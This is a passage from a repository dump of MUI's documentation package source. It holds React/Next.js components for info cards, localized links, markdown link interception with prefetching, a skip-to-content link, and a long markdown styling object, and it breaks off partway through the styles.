(\n    <Paper\n      variant=\"outlined\"\n      component={link ? Link : 'div'}\n      href={link}\n      {...(link\n        ? {\n            noLinkStyle: true,\n            // Fix overloading with prefetch={false}, only prefetch on hover.\n            prefetch: false,\n          }\n        : {})}\n      sx={(theme) => ({\n        p: 2.5,\n        height: '100%',\n        background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n        ...theme.applyDarkStyles({\n          bgcolor: alpha(theme.palette.primaryDark[800], 0.25),\n          background: `${(theme.vars || theme).palette.gradients.linearSubtle}`,\n          borderColor: 'primaryDark.700',\n        }),\n      })}\n      {...other}\n    >\n      {svg && svg}\n      {icon && <GlowingIconContainer icon={icon} />}\n      <Typography\n        component=\"h3\"\n        variant=\"body2\"\n        className={classNameTitle}\n        {...titleProps}\n        sx={[\n          {\n            fontWeight: 'semiBold',\n            color: 'text.primary',\n            mt: icon ? 2 : 0,\n            mb: description ? 0.5 : 0,\n          },\n          ...(Array.isArray(titleProps?.sx) ? titleProps.sx : [titleProps?.sx]),\n        ]}\n      >\n        {title}\n      </Typography>\n      <Typography variant=\"body2\" sx={{ color: 'text.secondary' }} className={classNameDescription}>\n        {description}\n      </Typography>\n    </Paper>\n  );\n}\n"
  },
  {
    "path": "packages/mui-docs/src/InfoCard/index.ts",
    "content": "export * from './InfoCard';\n"
  },
  {
    "path": "packages/mui-docs/src/Link/Link.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { useRouter } from 'next/router';\nimport NextLink, { LinkProps as NextLinkProps } from 'next/link';\nimport MuiLink, { LinkProps as MuiLinkProps } from '@mui/material/Link';\nimport { useUserLanguage } from '../i18n';\nimport { useDocsConfig } from '../DocsProvider';\n\n/**\n * File to keep in sync with:\n *\n * - /packages/mui-docs/src/Link/Link.tsx\n * - /examples/material-ui-nextjs-pages-router/src/Link.js\n * - /examples/material-ui-nextjs-pages-router-ts/src/Link.tsx\n * - /examples/material-ui-nextjs-ts-v4-v5-migration/src/Link.tsx\n */\n\ninterface NextLinkComposedProps\n  extends\n    Omit<React.AnchorHTMLAttributes<HTMLAnchorElement>, 'href'>,\n    Omit<NextLinkProps, 'href' | 'as' | 'passHref' | 'onMouseEnter' | 'onClick' | 'onTouchStart'> {\n  to: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as'];\n}\n\nexport const NextLinkComposed = React.forwardRef<HTMLAnchorElement, NextLinkComposedProps>(\n  function NextLinkComposed(props, ref) {\n    const { to, linkAs, ...other } = props;\n\n    return <NextLink href={to} as={linkAs} data-no-markdown-link=\"true\" ref={ref} {...other} />;\n  },\n);\n\nexport type LinkProps = {\n  activeClassName?: string;\n  as?: NextLinkProps['as'];\n  href: NextLinkProps['href'];\n  linkAs?: NextLinkProps['as']; // Useful when the as prop is shallow by styled().\n  noLinkStyle?: boolean;\n} & Omit<NextLinkComposedProps, 'to' | 'linkAs' | 'href'> &\n  Omit<MuiLinkProps, 'href'>;\n\n// A styled version of the Next.js Link component:\n// https://nextjs.org/docs/pages/api-reference/components/link\nexport const Link = React.forwardRef<HTMLAnchorElement, LinkProps>(function Link(props, ref) {\n  const {\n    activeClassName = 'active',\n    as,\n    className: classNameProps,\n    href,\n    linkAs: linkAsProp,\n    noLinkStyle,\n    ...other\n  } = props;\n\n  const router = useRouter();\n  const pathname = typeof href === 'string' ? href : href?.pathname;\n  const routerPathname = router.pathname.replace('/[docsTab]', '');\n\n  const className = clsx(classNameProps, {\n    [activeClassName]: routerPathname === pathname && activeClassName,\n  });\n\n  const userLanguage = useUserLanguage();\n\n  const { LANGUAGES_IGNORE_PAGES } = useDocsConfig();\n\n  let linkAs = linkAsProp || as || (href as string);\n  if (\n    userLanguage !== 'en' &&\n    pathname &&\n    pathname.startsWith('/') &&\n    !LANGUAGES_IGNORE_PAGES(pathname) &&\n    !pathname.startsWith(`/${userLanguage}/`)\n  ) {\n    linkAs = `/${userLanguage}${linkAs}`;\n  }\n\n  const nextjsProps = {\n    to: href,\n    linkAs,\n  };\n\n  if (noLinkStyle) {\n    return <NextLinkComposed className={className} ref={ref} {...nextjsProps} {...other} />;\n  }\n\n  return (\n    <MuiLink\n      component={NextLinkComposed}\n      className={className}\n      ref={ref}\n      {...nextjsProps}\n      {...other}\n    />\n  );\n});\n"
  },
  {
    "path": "packages/mui-docs/src/Link/MarkdownLinks.ts",
    "content": "import * as React from 'react';\nimport Router from 'next/router';\nimport { pathnameToLanguage } from '../helpers/helpers';\n\nexport function samePageLinkNavigation(event: MouseEvent) {\n  if (\n    event.defaultPrevented ||\n    event.button !== 0 || // ignore everything but left-click\n    event.metaKey ||\n    event.ctrlKey ||\n    event.altKey ||\n    event.shiftKey\n  ) {\n    return true;\n  }\n  return false;\n}\n\nfunction isLink(event: MouseEvent): HTMLElement | null {\n  let activeElement: HTMLElement | null = event.target as HTMLElement | null;\n  while (activeElement?.nodeType === Node.ELEMENT_NODE && activeElement.nodeName !== 'A') {\n    activeElement = activeElement.parentElement;\n  }\n\n  // Ignore non internal link clicks.\n  // Absolute URLs can be internal, we delegate this to Next.js's router\n  if (\n    activeElement === null ||\n    activeElement.nodeName !== 'A' ||\n    activeElement.getAttribute('target') === '_blank' ||\n    activeElement.getAttribute('data-no-markdown-link') === 'true'\n  ) {\n    return null;\n  }\n\n  return activeElement;\n}\n\n/**\n * @param {MouseEvent} event\n */\nfunction handleClick(event: MouseEvent) {\n  // Ignore click events meant for native link handling, for example open in new tab\n  if (samePageLinkNavigation(event)) {\n    return;\n  }\n\n  const activeElement = isLink(event);\n  if (activeElement === null) {\n    return;\n  }\n\n  event.preventDefault();\n  const as = activeElement.getAttribute('href');\n  if (as === null) {\n    return;\n  }\n  const canonicalPathname = pathnameToLanguage(as).canonicalPathname;\n  Router.push(canonicalPathname, as);\n}\n\n/**\n * Source copied from https://github.com/vercel/next.js/blob/ebc4eaaa2564b4283711646079d68e430496c88b/packages/next/src/client/link.tsx\n */\nfunction handleMouseOver(event: MouseEvent) {\n  const activeElement = isLink(event);\n  if (activeElement === null) {\n    return;\n  }\n\n  const as = activeElement.getAttribute('href');\n  if (as === null) {\n    return;\n  }\n  const canonicalPathname = pathnameToLanguage(as).canonicalPathname;\n\n  const prefetchPromise = Router.prefetch(canonicalPathname, as, { priority: true });\n  // Prefetch the JSON page if asked (only in the client)\n  // We need to handle a prefetch error here since we may be\n  // loading with priority which can reject but we don't\n  // want to force navigation since this is only a prefetch\n  Promise.resolve(prefetchPromise).catch((err) => {\n    if (process.env.NODE_ENV !== 'production') {\n      // rethrow to show invalid URL errors\n      throw err;\n    }\n  });\n}\n\nexport function MarkdownLinks() {\n  React.useEffect(() => {\n    document.addEventListener('click', handleClick);\n    document.addEventListener('mouseover', handleMouseOver);\n    return () => {\n      document.removeEventListener('click', handleClick);\n      document.removeEventListener('mouseover', handleMouseOver);\n    };\n  }, []);\n\n  return null;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Link/SkipLink.tsx",
    "content": "import MuiLink from '@mui/material/Link';\nimport { styled } from '@mui/material/styles';\nimport { useTranslate } from '../i18n';\n\nconst StyledLink = styled(MuiLink)(({ theme }) => ({\n  position: 'fixed',\n  padding: theme.spacing(1, 2),\n  backgroundColor: (theme.vars || theme).palette.primary[50],\n  border: '1px solid',\n  borderColor: (theme.vars || theme).palette.primary[100],\n  color: (theme.vars || theme).palette.primary[600],\n  outlineOffset: 5,\n  outlineColor: (theme.vars || theme).palette.primary[300],\n  borderRadius: theme.shape.borderRadius,\n  left: theme.spacing(2),\n  zIndex: theme.zIndex.tooltip + 1,\n  top: theme.spacing(-10),\n  transition: theme.transitions.create('top', {\n    easing: theme.transitions.easing.easeIn,\n    duration: theme.transitions.duration.leavingScreen,\n  }),\n  '&:hover': {\n    backgroundColor: (theme.vars || theme).palette.primary[100],\n    color: (theme.vars || theme).palette.primary[700],\n  },\n  '&:focus': {\n    top: theme.spacing(2),\n    transition: theme.transitions.create('top', {\n      easing: theme.transitions.easing.easeOut,\n      duration: theme.transitions.duration.enteringScreen,\n    }),\n  },\n  '@media (prefers-reduced-motion: reduce)': {\n    transition: theme.transitions.create('opacity'),\n    opacity: 0,\n    '&:focus': {\n      top: theme.spacing(2),\n      opacity: 1,\n      transition: theme.transitions.create('opacity'),\n    },\n  },\n  '@media print': {\n    display: 'none',\n  },\n  ...theme.applyDarkStyles({\n    backgroundColor: (theme.vars || theme).palette.primaryDark[600],\n    borderColor: (theme.vars || theme).palette.primaryDark[400],\n    color: (theme.vars || theme).palette.grey[100],\n    outlineColor: (theme.vars || theme).palette.primary[500],\n    '&:hover': {\n      backgroundColor: (theme.vars || theme).palette.primaryDark[500],\n      color: (theme.vars || theme).palette.grey[50],\n    },\n  }),\n}));\n\nexport function SkipLink() {\n  const t = useTranslate();\n\n  return <StyledLink href=\"#main-content\">{t('appFrame.skipToContent')}</StyledLink>;\n}\n"
  },
  {
    "path": "packages/mui-docs/src/Link/index.ts",
    "content": "export * from './Link';\nexport * from './MarkdownLinks';\nexport * from './SkipLink';\n"
  },
  {
    "path": "packages/mui-docs/src/MarkdownElement/MarkdownElement.tsx",
    "content": "import * as React from 'react';\nimport clsx from 'clsx';\nimport { alpha, darken, styled } from '@mui/material/styles';\nimport useForkRef from '@mui/utils/useForkRef';\nimport { brandingDarkTheme as darkTheme, brandingLightTheme as lightTheme } from '../branding';\n\nconst Root = styled('div')(\n  ({ theme }) => ({\n    ...lightTheme.typography.body1,\n    lineHeight: 1.625, // Rounds up to 26px－increased compared to the 1.5 default to make the docs easier to read.\n    color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n    '& :focus-visible': {\n      outline: `3px solid ${alpha(lightTheme.palette.primary[500], 0.5)}`,\n      outlineOffset: 2,\n    },\n    '& strong': {\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n    },\n    wordBreak: 'break-word',\n    '& pre': {\n      lineHeight: 1.5, // Developers like when the code is dense.\n      margin: theme.spacing(2, 'auto'),\n      padding: theme.spacing(2),\n      backgroundColor: 'hsl(210, 25%, 9%)', // a special, one-off, color tailored for the code blocks using MUI's branding theme blue palette as the starting point. It has a less saturaded color but still maintaining a bit of the blue tint.\n      color: 'hsl(60, 30%, 96%)',\n      colorScheme: 'dark',\n      borderRadius: `var(--muidocs-shape-borderRadius, ${\n        theme.shape?.borderRadius ?? lightTheme.shape.borderRadius\n      }px)`,\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n      overflow: 'auto',\n      WebkitOverflowScrolling: 'touch',\n      fontSize: lightTheme.typography.pxToRem(13),\n      maxHeight: '400px',\n    },\n    '& code': {\n      ...lightTheme.typography.body2,\n      fontFamily: lightTheme.typography.fontFamilyCode,\n      fontWeight: 400,\n      WebkitFontSmoothing: 'subpixel-antialiased',\n    },\n    '& pre > code': {\n      // Reset for Safari\n      // https://github.com/necolas/normalize.css/blob/master/normalize.css#L102\n      fontSize: 'inherit',\n    },\n    // inline code block\n    '& :not(pre) > code': {\n      padding: '2px 4px',\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      backgroundColor: `var(--muidocs-palette-grey-50, ${lightTheme.palette.grey[50]})`,\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n      borderRadius: 6,\n      fontSize: lightTheme.typography.pxToRem(13),\n      direction: 'ltr /*! @noflip */',\n      boxDecorationBreak: 'clone',\n    },\n    '& h1': {\n      ...lightTheme.typography.h3,\n      fontSize: lightTheme.typography.pxToRem(36),\n      fontFamily: `\"General Sans\", ${lightTheme.typography.fontFamilySystem}`,\n      margin: '10px 0',\n      color: `var(--muidocs-palette-primaryDark-900, ${lightTheme.palette.primaryDark[900]})`,\n      fontWeight: 600,\n      letterSpacing: -0.2,\n    },\n    '& .description': {\n      ...lightTheme.typography.subtitle1,\n      fontWeight: 400,\n      margin: '0 0 24px',\n    },\n    '& .component-tabs': {\n      margin: '0 0 40px',\n    },\n    '& h2': {\n      ...lightTheme.typography.h5,\n      fontFamily: `\"General Sans\", ${lightTheme.typography.fontFamilySystem}`,\n      fontSize: theme.typography.pxToRem(26),\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n      margin: '40px 0 4px',\n    },\n    '& h3': {\n      ...lightTheme.typography.h6,\n      fontFamily: `\"General Sans\", ${lightTheme.typography.fontFamilySystem}`,\n      fontSize: theme.typography.pxToRem(20),\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n      margin: '24px 0 4px',\n    },\n    '& h4': {\n      ...lightTheme.typography.subtitle1,\n      fontFamily: `\"General Sans\", ${lightTheme.typography.fontFamilySystem}`,\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n      margin: '20px 0 6px',\n    },\n    '& h5': {\n      ...lightTheme.typography.subtitle2,\n      fontFamily: `\"General Sans\", ${lightTheme.typography.fontFamilySystem}`,\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n      margin: '20px 0 8px',\n    },\n    '& p': {\n      marginTop: 0,\n      marginBottom: 16,\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n    },\n    '& ul, & ol': {\n      paddingLeft: 30,\n      marginTop: 0,\n      marginBottom: 16,\n      '& ul, & ol': {\n        marginBottom: 6,\n      },\n    },\n    '& a[target=\"_blank\"]::after': {\n      content: '\"\"',\n      maskImage: `url(\"data:image/svg+xml,%3Csvg xmlns='http://www.w3.org/2000/svg' focusable='false' aria-hidden='true' viewBox='0 0 24 24' fill='currentColor'%3E%3Cpath d='M6 6v2h8.59L5 17.59 6.41 19 16 9.41V18h2V6z'%3E%3C/path%3E%3C/svg%3E\")`,\n      display: 'inline-flex',\n      width: '1em',\n      height: '1em',\n      color: 'inherit',\n      backgroundColor: 'currentColor',\n      transform: 'translate(0, 2px)',\n      transition: 'transform 0.3s cubic-bezier(0.1, 0.8, 0.3, 1)', // bounce effect\n      opacity: 0.8,\n    },\n    '& a[target=\"_blank\"]:hover::after': {\n      opacity: 1,\n      transform: 'translate(1px, 0)',\n    },\n    '& a.remove-link-arrow::after': {\n      // Allows to remove link arrows for images\n      display: 'none',\n    },\n    '& .ad.description a::after': {\n      // Remove link arrow for ads\n      display: 'none',\n    },\n    '& a': {\n      // Style taken from the Link component\n      color: `var(--muidocs-palette-primary-600, ${lightTheme.palette.primary[600]})`,\n      fontWeight: theme.typography.fontWeightMedium,\n      textDecoration: 'underline',\n      textDecorationColor: alpha(lightTheme.palette.primary.main, 0.4),\n      '&:hover': {\n        textDecorationColor: 'inherit',\n      },\n    },\n    '& a code': {\n      color: darken(lightTheme.palette.primary.main, 0.2),\n    },\n    '& h1, & h2, & h3, & h4': {\n      display: 'flex',\n      alignItems: 'center',\n      gap: 6,\n      '& code': {\n        fontSize: 'inherit',\n        lineHeight: 'inherit',\n        // Remove scroll on small screens.\n        wordBreak: 'break-all',\n      },\n      '& .title-link-to-anchor': {\n        color: 'inherit',\n        textDecoration: 'none',\n        boxShadow: 'none',\n        fontWeight: 'inherit',\n        position: 'relative',\n        userSelect: 'text',\n      },\n      '& .anchor-icon': {\n        // To prevent the link to get the focus.\n        display: 'inline-flex',\n        alignItems: 'center',\n        visibility: 'hidden',\n      },\n      '& .anchor-icon, & .comment-link': {\n        padding: 0,\n        cursor: 'pointer',\n        alignItems: 'center',\n        justifyContent: 'center',\n        flexShrink: 0,\n        textAlign: 'center',\n        marginLeft: 8,\n        height: 26,\n        width: 26,\n        color: `var(--muidocs-palette-grey-600, ${lightTheme.palette.grey[600]})`,\n        backgroundColor: 'transparent',\n        border: '1px solid transparent',\n        borderRadius: 8,\n        transition: theme.transitions.create(\n          ['visibility', 'background-color', 'color', 'border-color'],\n          {\n            duration: theme.transitions.duration.shortest,\n          },\n        ),\n        '&:hover': {\n          backgroundColor: alpha(lightTheme.palette.primary[100], 0.4),\n          borderColor: `var(--muidocs-palette-primary-100, ${lightTheme.palette.primary[100]})`,\n          color: `var(--muidocs-palette-primary-main, ${lightTheme.palette.primary.main})`,\n        },\n        '& svg': {\n          height: 14,\n          width: 14,\n          fill: 'currentColor',\n          pointerEvents: 'none',\n          verticalAlign: 'middle',\n        },\n      },\n      '&:hover .anchor-icon': {\n        visibility: 'visible',\n      },\n      '& .comment-link': {\n        display: 'none', // So we can have the comment button opt-in.\n        marginLeft: 'auto',\n        transition: theme.transitions.create(['background-color', 'color', 'border-color'], {\n          duration: theme.transitions.duration.shortest,\n        }),\n        '& svg': {\n          fill: 'currentColor',\n          marginRight: 1.5,\n        },\n      },\n    },\n    '& h1 code, & h2 code, & h3 code': {\n      color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n    },\n    '& h1 code': {\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n    },\n    '& h2 code': {\n      fontSize: lightTheme.typography.pxToRem(24),\n      fontWeight: lightTheme.typography.fontWeightSemiBold,\n    },\n    '& h3 code': {\n      fontSize: lightTheme.typography.pxToRem(18),\n    },\n    '& table': {\n      // Trade display table for scroll overflow\n      display: 'block',\n      wordBreak: 'normal',\n      overflowX: 'auto',\n      WebkitOverflowScrolling: 'touch',\n      borderCollapse: 'collapse',\n      marginBottom: '20px',\n      borderSpacing: 0,\n      '& .prop-name, & .prop-type, & .prop-default, & .slot-name, & .slot-defaultClass, & .slot-default':\n        {\n          fontWeight: 400,\n          fontFamily: lightTheme.typography.fontFamilyCode,\n          WebkitFontSmoothing: 'subpixel-antialiased',\n          fontSize: lightTheme.typography.pxToRem(13),\n        },\n      '& .required': {\n        color: '#006500',\n      },\n      '& .optional': {\n        color: '#45529f',\n      },\n      '& .prop-type, & .slot-defaultClass': {\n        color: '#932981',\n      },\n      '& .prop-default, & .slot-default': {\n        borderBottom: `1px dotted var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n      },\n    },\n    '& td': {\n      ...theme.typography.body2,\n      borderBottom: `1px solid var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n      paddingRight: 20,\n      paddingTop: 16,\n      paddingBottom: 16,\n      color: `var(--muidocs-palette-text-secondary, ${lightTheme.palette.text.secondary})`,\n    },\n    '& td code': {\n      lineHeight: 1.6,\n    },\n    '& th': {\n      fontSize: theme.typography.pxToRem(14),\n      lineHeight: theme.typography.pxToRem(24),\n      fontWeight: 500,\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      whiteSpace: 'pre',\n      borderBottom: `1px solid var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n      paddingRight: 20,\n      paddingTop: 12,\n      paddingBottom: 12,\n    },\n    '& blockquote': {\n      position: 'relative',\n      padding: '0 16px',\n      margin: 0,\n      borderLeft: '1.5px solid',\n      borderColor: `var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n      '& p': {\n        fontSize: theme.typography.pxToRem(12.5),\n        fontFamily: lightTheme.typography.fontFamilyCode,\n        fontWeight: lightTheme.typography.fontWeightMedium,\n        lineHeight: theme.typography.pxToRem(24),\n        textIndent: 20,\n      },\n      '&::before': {\n        position: 'absolute',\n        // eslint-disable-next-line mui/straight-quotes\n        content: '\"“\"',\n        color: `var(--muidocs-palette-grey-300, ${lightTheme.palette.grey[300]})`,\n        fontSize: '2.5rem',\n        top: 8,\n        marginLeft: -6,\n        lineHeight: 0.5,\n      },\n    },\n    '& .MuiCallout-root': {\n      display: 'flex',\n      gap: '8px',\n      padding: '12px',\n      margin: '16px 0',\n      border: '1px solid',\n      color: `var(--muidocs-palette-text-secondary, ${lightTheme.palette.text.secondary})`,\n      borderColor: `var(--muidocs-palette-grey-100, ${lightTheme.palette.grey[100]})`,\n      borderRadius: `var(--muidocs-shape-borderRadius, ${\n        theme.shape?.borderRadius ?? lightTheme.shape.borderRadius\n      }px)`,\n      '& .MuiCallout-content': {\n        minWidth: 0, // Allows content to shrink. Useful when callout contains code block\n        flexGrow: 1,\n      },\n      '& code': {\n        height: 'fit-content',\n        backgroundColor: `var(--muidocs-palette-grey-100, ${lightTheme.palette.grey[100]})`,\n        borderColor: `var(--muidocs-palette-grey-300, ${lightTheme.palette.grey[300]})`,\n      },\n      '& p': {\n        marginBottom: '8px',\n        '& > p:last-child, & > ul:last-child': {\n          // Avoid margin on last child\n          marginBottom: 0,\n        },\n        '& > ul': {\n          // Because of the gap left by the icon, we visually need less padding\n          paddingLeft: 22,\n        },\n      },\n      '& .MuiCode-root': {\n        '& pre': {\n          margin: '4px 0 0 0',\n          borderRadius: '12px 12px 6px 12px',\n          borderColor: alpha(lightTheme.palette.primaryDark[600], 0.6),\n          '& code': {\n            backgroundColor: 'transparent',\n          },\n        },\n      },\n      '& .MuiCallout-icon-container': {\n        width: 26, // to match text's line-height\n        height: 26,\n        display: 'flex',\n        alignItems: 'center',\n        justifyContent: 'center',\n        flexShrink: 0,\n        '& svg': {\n          width: 18,\n          height: 18,\n        },\n      },\n      '& ul, & p': {\n        '&:last-child': {\n          margin: 0,\n        },\n      },\n      '& ul, li, p': {\n        color: 'inherit',\n      },\n      '&.MuiCallout-error': {\n        color: `var(--muidocs-palette-error-900, ${lightTheme.palette.error[900]})`,\n        backgroundColor: `var(--muidocs-palette-error-50, ${lightTheme.palette.error[50]})`,\n        borderColor: `var(--muidocs-palette-error-100, ${lightTheme.palette.error[100]})`,\n        '& strong': {\n          color: `var(--muidocs-palette-error-800, ${lightTheme.palette.error[800]})`,\n        },\n        '& svg': {\n          fill: `var(--muidocs-palette-error-500, ${lightTheme.palette.error[600]})`,\n        },\n        '& a': {\n          color: `var(--muidocs-palette-error-800, ${lightTheme.palette.error[800]})`,\n          textDecorationColor: alpha(lightTheme.palette.error.main, 0.4),\n          '&:hover': {\n            textDecorationColor: 'inherit',\n          },\n        },\n      },\n      '&.MuiCallout-info': {\n        color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n        backgroundColor: `var(--muidocs-palette-grey-50, ${lightTheme.palette.grey[50]})`,\n        borderColor: `var(--muidocs-palette-grey-100, ${lightTheme.palette.grey[100]})`,\n        '& strong': {\n          color: `var(--muidocs-palette-primary-800, ${lightTheme.palette.primary[800]})`,\n        },\n        '& svg': {\n          fill: `var(--muidocs-palette-grey-600, ${lightTheme.palette.grey[600]})`,\n        },\n      },\n      '&.MuiCallout-success': {\n        color: `var(--muidocs-palette-success-900, ${lightTheme.palette.success[900]})`,\n        backgroundColor: `var(--muidocs-palette-success-50, ${lightTheme.palette.success[50]})`,\n        borderColor: `var(--muidocs-palette-success-100, ${lightTheme.palette.success[100]})`,\n        '& strong': {\n          color: `var(--muidocs-palette-success-900, ${lightTheme.palette.success[900]})`,\n        },\n        '& svg': {\n          fill: `var(--muidocs-palette-success-600, ${lightTheme.palette.success[600]})`,\n        },\n        '& a': {\n          color: `var(--muidocs-palette-success-900, ${lightTheme.palette.success[900]})`,\n          textDecorationColor: alpha(lightTheme.palette.success.main, 0.4),\n          '&:hover': {\n            textDecorationColor: 'inherit',\n          },\n        },\n      },\n      '&.MuiCallout-warning': {\n        color: `var(--muidocs-palette-grey-900, ${lightTheme.palette.grey[900]})`,\n        backgroundColor: alpha(lightTheme.palette.warning[50], 0.5),\n        borderColor: alpha(lightTheme.palette.warning[700], 0.15),\n        '& strong': {\n          color: `var(--muidocs-palette-warning-800, ${lightTheme.palette.warning[800]})`,\n        },\n        '& svg': {\n          fill: `var(--muidocs-palette-warning-600, ${lightTheme.palette.warning[600]})`,\n        },\n        '& a': {\n          color: `var(--muidocs-palette-warning-800, ${lightTheme.palette.warning[800]})`,\n          textDecorationColor: alpha(lightTheme.palette.warning.main, 0.4),\n          '&:hover': {\n            textDecorationColor: 'inherit',\n          },\n        },\n      },\n    },\n    '& img, & video': {\n      // Use !important so that inline style on <img> or <video> can't win.\n      // This avoid horizontal overflows on mobile.\n      maxWidth: '100% !important',\n      // Avoid the image to be fixed height, so it can respect the aspect ratio.\n      height: 'auto',\n    },\n    '& img': {\n      // Avoid layout jump\n      display: 'inline-block',\n      // Avoid very sharp edges\n      borderRadius: 2,\n    },\n    '& hr': {\n      height: 1,\n      margin: theme.spacing(5, 0),\n      border: 0,\n      flexShrink: 0,\n      backgroundColor: `var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n    },\n    '& kbd.key': {\n      padding: 6,\n      display: 'inline-block',\n      whiteSpace: 'nowrap',\n      margin: '0 1px',\n      fontFamily: lightTheme.typography.fontFamilyCode,\n      fontSize: lightTheme.typography.pxToRem(11),\n      color: `var(--muidocs-palette-text-primary, ${lightTheme.palette.text.primary})`,\n      lineHeight: '10px',\n      verticalAlign: 'middle',\n      borderRadius: 6,\n      border: `1px solid var(--muidocs-palette-grey-300, ${lightTheme.palette.grey[300]})`,\n      backgroundColor: `var(--muidocs-palette-grey-50, ${lightTheme.palette.grey[50]})`,\n      boxShadow: `inset 0 -2px 0 var(--muidocs-palette-grey-200, ${lightTheme.palette.grey[200]})`,\n    },\n    '& details': {\n      width: '100%',\n      padding: theme.spacing(1),\n      marginBottom: theme.spacing(1.5),\n      border: '1px solid',\n      borderColor: `var(--muidocs-palette-divider, ${lightTheme.palette.divider})`,\n      borderRadius: `var(--muidocs-shape-borderRadius, ${\n        theme.shape?.borderRadius ?? lightTheme.shape.borderRadius\n      }px)`,\n      '& pre': {\n        marginTop: theme.spacing(1),\n      },\n    },\n    '& summary': {\n      cursor: 'pointer',\n      padding: theme.spacing(1),\n      borderRadius: 6,\n      listStyleType: 'none',\n      display: 'flex',\n      alignItems: 'center',\n      justifyContent: 'space-between',\n      transition: theme.transitions.create(['background'], {\n        duration: theme.transitions.duration.shortest,\n      }),\n      ':after': {\n        content: '\"\"',\n        maskImage: `url(\"data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M4 6L8 10L12 6' stroke='black' stroke-width='1.66667' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E%0A\")`,\n        display: 'inline-flex',\n        width: '1em',\n        height: '1em',\n        color: 'inherit',\n        backgroundColor: 'currentColor',\n      },\n      '&:hover': {\n        backgroundColor: `var(--muidocs-palette-grey-100, ${lightTheme.palette.grey[50]})`,\n      },\n    },\n    '& details[open] > summary::after': {\n      content: '\"\"',\n      maskImage: `url(\"data:image/svg+xml,%3Csvg width='16' height='16' viewBox='0 0 16 16' fill='none' xmlns='http://www.w3.org/2000/svg'%3E%3Cpath d='M12 10L8 6L4 10' stroke='black' stroke-width='1.66667' stroke-linecap='round' stroke-linejoin='round'/%3E%3C/svg%3E%0A\")`,\n    },\n    '& .MuiCode-root': {\n      direction: 'ltr /*! @noflip */',\n      position: 'relative',\n      // Font size reset to fix a bug with Safari 16.0 when letterSpacing is set\n      fontSize: 10,\n      '&:has(.MuiCode-title)': {\n        margin: theme.spacing(2, 'auto'),\n        border: `1px solid var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n        borderRadius: theme.shape.borderRadius,\n        overflow: 'clip',\n        '& .MuiCode-copy': {\n          top: '56px',\n        },\n      },\n    },\n    '& .MuiCode-copy-container': {\n      // This container is only used in demo and highlight code\n      position: 'sticky',\n      zIndex: 1,\n      top: 0,\n    },\n    '& .MuiCode-copy': {\n      cursor: 'pointer',\n      position: 'absolute',\n      top: 12,\n      right: 12,\n      display: 'inline-flex',\n      flexDirection: 'row-reverse',\n      alignItems: 'center',\n      padding: theme.spacing(0.5),\n      paddingBottom: '5px', // optical alignment\n      fontFamily: lightTheme.typography.fontFamily,\n      fontWeight: lightTheme.typography.fontWeightMedium,\n      fontSize: lightTheme.typography.pxToRem(12),\n      borderRadius: 6,\n      border: '1px solid',\n      borderColor: alpha(lightTheme.palette.primaryDark[600], 0.5),\n      backgroundColor: alpha(lightTheme.palette.primaryDark[800], 0.5),\n      color: `var(--muidocs-palette-grey-300, ${lightTheme.palette.grey[300]})`,\n      transition: theme.transitions.create(['background', 'borderColor', 'display'], {\n        duration: theme.transitions.duration.shortest,\n      }),\n      '@media (max-width: 640px)': {\n        display: 'none',\n      },\n      '& .MuiCode-copied-label': {\n        display: 'none',\n      },\n      '&:hover, &:focus': {\n        borderColor: `var(--muidocs-palette-primaryDark-400, ${lightTheme.palette.primaryDark[400]})`,\n        backgroundColor: `var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n        color: '#FFF',\n        '& .MuiCode-copyKeypress': {\n          display: 'block',\n          // Approximate no hover capabilities with no keyboard\n          // https://github.com/w3c/csswg-drafts/issues/3871\n          '@media (any-hover: none)': {\n            display: 'none',\n          },\n        },\n      },\n      '& .MuiCode-copyKeypress': {\n        display: 'none',\n        position: 'absolute',\n        right: 34,\n      },\n      '&[data-copied]': {\n        borderColor: `var(--muidocs-palette-primaryDark-400, ${lightTheme.palette.primaryDark[400]})`,\n        backgroundColor: `var(--muidocs-palette-primaryDark-700, ${lightTheme.palette.primaryDark[700]})`,\n        color: '#fff',\n        '& .MuiCode-copyKeypress': {\n          opacity: 0,\n        },\n        '& .MuiCode-copy-label': {\n          display: 'none',\n        },\n        '& .MuiCode-copied-label': {\n          display: 'block',\n        },\n      },\n    },\n    '& .MuiCode-copyKeypress': {\n      pointerEvents: 'none',\n      userSelect: 'none',\n      marginRight: theme.spacing(1.2),\n      marginBottom: 